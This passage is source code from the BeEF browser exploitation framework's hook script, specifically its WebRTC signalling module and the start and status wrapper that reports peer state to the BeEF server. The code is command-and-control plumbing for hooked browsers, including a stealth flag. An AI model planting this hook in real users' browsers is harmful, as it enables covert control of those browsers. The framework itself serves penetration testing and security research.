10677// The caller uses this to set it's local description, and it then has to send this to the peer (via signalling)
10678// The receiver uses this information too - and vice-versa - hence the signaling
10679Beefwebrtc.prototype.setLocalAndSendMessage = function(sessionDescription) {
10680 // This fucking function does NOT receive a 'this' state, and you can't pass additional parameters
10681 // Stupid .. javascript :(
10682 // So I'm hacking it to find the peerid gah - I believe *this* is what means you can't establish peers concurrently
10683 // i.e. this browser will have to wait for this peerconnection to establish before attempting to connect to the next one..
10684 var peerid = null;
10685
10686 for (var k in beefrtcs) {
10687 if (beefrtcs[k].allgood === false) {
10688 peerid = beefrtcs[k].peerid;
10689 }
10690 }
10691 beef.debug("For peer: " + peerid + " Running setLocalAndSendMessage...");
10692
10693 globalrtc[peerid].setLocalDescription(sessionDescription, onSetSessionDescriptionSuccess, onSetSessionDescriptionError);
10694 beefrtcs[peerid].sendSignalMsg(sessionDescription);
10695
10696 function onSetSessionDescriptionSuccess() {
10697 beef.debug('Set session description success.');
10698 }
10699
10700 function onSetSessionDescriptionError() {
10701 beef.debug('Failed to set session description');
10702 }
10703}
10704
10705// If the browser can't build an SDP
10706Beefwebrtc.prototype.onCreateSessionDescriptionError = function(error) {
10707 beef.debug('Failed to create session description: ' + error.toString());
10708}
10709
10710// If the browser successfully sets a remote description
10711Beefwebrtc.prototype.onSetRemoteDescriptionSuccess = function() {
10712 beef.debug('Set remote session description successfully');
10713}
10714
10715// Check for messages - which includes signaling from a calling peer - this gets kicked off in maybeStart()
10716Beefwebrtc.prototype.calleeStart = function() {
10717 // Callee starts to process cached offer and other messages.
10718 while (this.msgQueue.length > 0) {
10719 this.processSignalingMessage(this.msgQueue.shift());
10720 }
10721}
10722
10723// Process messages, this is how we handle the signaling messages, such as candidate info, offers, answers
10724Beefwebrtc.prototype.processSignalingMessage = function(message) {
10725 if (!this.started) {
10726 beef.debug('peerConnection has not been created yet!');
10727 return;
10728 }
10729
10730 if (message.type === 'offer') {
10731 beef.debug("Processing signalling message: OFFER");
10732 if (navigator.mozGetUserMedia) { // Mozilla shim fuckn shit - since the new
10733 // version of FF - which no longer works
10734 beef.debug("Moz shim here");
10735 globalrtc[this.peerid].setRemoteDescription(
10736 new RTCSessionDescription(message),
10737 function() {
10738 // globalrtc[this.peerid].createAnswer(function(answer) {
10739 // globalrtc[this.peerid].setLocalDescription(
10740
10741 var peerid = null;
10742
10743 for (var k in beefrtcs) {
10744 if (beefrtcs[k].allgood === false) {
10745 peerid = beefrtcs[k].peerid;
10746 }
10747 }
10748
10749 globalrtc[peerid].createAnswer(function(answer) {
10750 globalrtc[peerid].setLocalDescription(
10751 new RTCSessionDescription(answer),
10752 function() {
10753 beefrtcs[peerid].sendSignalMsg(answer);
10754 },function(error) {
10755 beef.debug("setLocalDescription error: " + error);
10756 });
10757 },function(error) {
10758 beef.debug("createAnswer error: " +error);
10759 });
10760 },function(error) {
10761 beef.debug("setRemoteDescription error: " + error);
10762 });
10763
10764 } else {
10765 this.setRemote(message);
10766 this.doAnswer();
10767 }
10768 } else if (message.type === 'answer') {
10769 beef.debug("Processing signalling message: ANSWER");
10770 if (navigator.mozGetUserMedia) { // terrible moz shim - as for the offer
10771 beef.debug("Moz shim here");
10772 globalrtc[this.peerid].setRemoteDescription(
10773 new RTCSessionDescription(message),
10774 function() {},
10775 function(error) {
10776 beef.debug("setRemoteDescription error: " + error);
10777 });
10778 } else {
10779 this.setRemote(message);
10780 }
10781 } else if (message.type === 'candidate') {
10782 beef.debug("Processing signalling message: CANDIDATE");
10783 var candidate = new RTCIceCandidate({sdpMLineIndex: message.label,
10784 candidate: message.candidate});
10785 this.noteIceCandidate("Remote", this.iceCandidateType(message.candidate));
10786 globalrtc[this.peerid].addIceCandidate(candidate, this.onAddIceCandidateSuccess, this.onAddIceCandidateError);
10787 } else if (message.type === 'bye') {
10788 this.onRemoteHangup();
10789 }
10790}
10791
10792// Used to set the RTC remote session
10793Beefwebrtc.prototype.setRemote = function(message) {
10794 globalrtc[this.peerid].setRemoteDescription(new RTCSessionDescription(message),
10795 this.onSetRemoteDescriptionSuccess, this.onSetSessionDescriptionError);
10796}
10797
10798// As part of the processSignalingMessage function, we check for 'offers' from peers. If there's an offer, we answer, as below
10799Beefwebrtc.prototype.doAnswer = function() {
10800 beef.debug('Sending answer to peer.');
10801 globalrtc[this.peerid].createAnswer(this.setLocalAndSendMessage, this.onCreateSessionDescriptionError, this.sdpConstraints);
10802}
10803
10804// Helper method to determine what kind of ICE Candidate we've received
10805Beefwebrtc.prototype.iceCandidateType = function(candidateSDP) {
10806 if (candidateSDP.indexOf("typ relay ") >= 0)
10807 return "TURN";
10808 if (candidateSDP.indexOf("typ srflx ") >= 0)
10809 return "STUN";
10810 if (candidateSDP.indexOf("typ host ") >= 0)
10811 return "HOST";
10812 return "UNKNOWN";
10813}
10814
10815// Event handler for successful addition of ICE Candidates
10816Beefwebrtc.prototype.onAddIceCandidateSuccess = function() {
10817 beef.debug('AddIceCandidate success.');
10818}
10819
10820// Event handler for unsuccessful addition of ICE Candidates
10821Beefwebrtc.prototype.onAddIceCandidateError = function(error) {
10822 beef.debug('Failed to add Ice Candidate: ' + error.toString());
10823}
10824
10825// If a peer hangs up (we bring down the peerconncetion via the stop() method)
10826Beefwebrtc.prototype.onRemoteHangup = function() {
10827 beef.debug('Session terminated.');
10828 this.initiator = 0;
10829 // transitionToWaiting();
10830 this.stop();
10831}
10832
10833// Bring down the peer connection
10834Beefwebrtc.prototype.stop = function() {
10835 this.started = false; // we're no longer started
10836 this.signalingReady = false; // signalling isn't ready
10837 globalrtc[this.peerid].close(); // close the RTCPeerConnection option
10838 globalrtc[this.peerid] = null; // Remove it
10839 this.msgQueue.length = 0; // clear the msgqueue
10840 rtcstealth = false; // no longer stealth
10841 this.allgood = false; // allgood .. NAH UH
10842}
10843
10844// The actual beef.webrtc wrapper - this exposes only two functions directly - start, and status
10845// These are the methods which are executed via the custom extension of the hook.js
10846beef.webrtc = {
10847 // Start the RTCPeerConnection process
10848 start: function(initiator,peer,turnjson,stunservers,verbose) {
10849 if (peer in beefrtcs) {
10850 // If the RTC peer is not in a good state, try kickng it off again
10851 // This is possibly not the correct way to handle this issue though :/ I.e. we'll now have TWO of these objects :/
10852 if (beefrtcs[peer].allgood == false) {
10853 beefrtcs[peer] = new Beefwebrtc(initiator, peer, turnjson, stunservers, verbose);
10854 beefrtcs[peer].initialize();
10855 }
10856 } else {
10857 // Standard behaviour for new peer connections
10858 beefrtcs[peer] = new Beefwebrtc(initiator,peer,turnjson, stunservers, verbose);
10859 beefrtcs[peer].initialize();
10860 }
10861 },
10862
10863 // Check the status of all my peers ..
10864 status: function(me) {
10865 if (Object.keys(beefrtcs).length > 0) {
10866 for (var k in beefrtcs) {
10867 if (beefrtcs.hasOwnProperty(k)) {
10868 beef.net.send('/rtcmessage',0,{peerid: k, message: "Status checking - allgood: " + beefrtcs[k].allgood});
10869 }
10870 }
10871 } else {
10872 beef.net.send('/rtcmessage',0,{peerid: me, message: "No peers?"});
10873 }
10874 }
10875}
10876beef.regCmp('beef.webrtc');
10877
10878
10879//
10880// Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
10881// Browser Exploitation Framework (BeEF) - http://beefproject.com
10882// See the file 'doc/COPYING' for copying permission
10883//
10884
10885/*
10886 Sometimes there are timing issues and looks like beef_init
10887 is not called at all (always in cross-origin situations,
10888 for example calling the hook with jquery getScript,
10889 or sometimes with event handler injections).
10890
10891 To fix this, we call again beef_init after 1 second.
10892 Cheers to John Wilander that discussed this bug with me at OWASP AppSec Research Greece
10893 antisnatchor
10894 */
10895//setTimeout(beef_init, 1000);